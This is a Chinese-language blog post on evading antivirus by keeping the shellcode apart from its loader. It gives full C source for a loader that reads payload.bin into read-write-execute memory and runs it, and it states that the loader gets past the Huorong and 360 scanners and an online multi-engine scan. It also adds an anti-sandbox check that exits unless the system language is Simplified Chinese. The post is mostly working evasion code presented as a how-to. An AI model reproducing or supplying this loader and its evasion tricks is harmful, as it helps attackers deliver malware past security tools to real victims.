type
Post
status
Published
date
Mar 20, 2022
slug
Bypas-frames
summary
该文章记录一些学习分离免杀的心得体会
tags
思考
免杀
category
学习思考
icon
password

简单的分离免杀

简介

通常杀毒软件会匹配静态特征来进行恶意软件的识别,虽然现在有很多行为查杀的引擎,但个人认为杀毒软件仍旧已特征码为主,行为免杀很大程度上是监控windows api,而这些恶意软件使用的api往往都是和合法软件是一致的,这也成为了行为查杀技术的桎梏,很多恶意软件只要换个不同的编译环境,就能不被杀毒软件注意到从而绕过杀毒软件。
本文鉴于目前杀毒软件仍旧以特征库为主,将病毒代码体和执行体分离,从而规避特征免杀。

流程

  1. 编译好bypass.exe的加载器
  1. 生成payload.bin文件,此bin文件多数杀软不查杀的
  1. bypass.exe来执行payload.bin上线
⚠️
注意:payload.bin和bypass.exe要处于同一目录下

C实现简单分离免杀

源码如下
#include <stdio.h> #include <windows.h> int main(int argc, char* argv[]) { //打开要执行的ShellCode文件 HANDLE hFile = CreateFileA("payload.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("CreateFile Error"); return -1; } DWORD dwSize = 0; //获取ShellCode的总大小 dwSize = GetFileSize(hFile, NULL); //申请一块可读可写可执行的内存 LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpAddress == NULL) { printf("VirtualAlloc Error"); CloseHandle(hFile); return -1; } //将文件读取到申请的内存中 DWORD dwRead = 0; ReadFile(hFile, lpAddress, dwSize, &dwRead, 0); //执行ShellCode ((void(*)())lpAddress)(); return 0; }
可以看到经过处理后可轻松过火绒
notion image
notion image
360
notion image
杀毒网检测
notion image
为了逃避沙箱,可以在上述代码中增加一个简单的反沙箱,判断系统语言是否为中文,若不是中文就打印输出hello world
//判断当前的系统语言是否为中文简体 if (GetSystemDefaultLangID() != 0x804) { printf("hello world"); return 0; }
 
信息收集总结2020年年度总结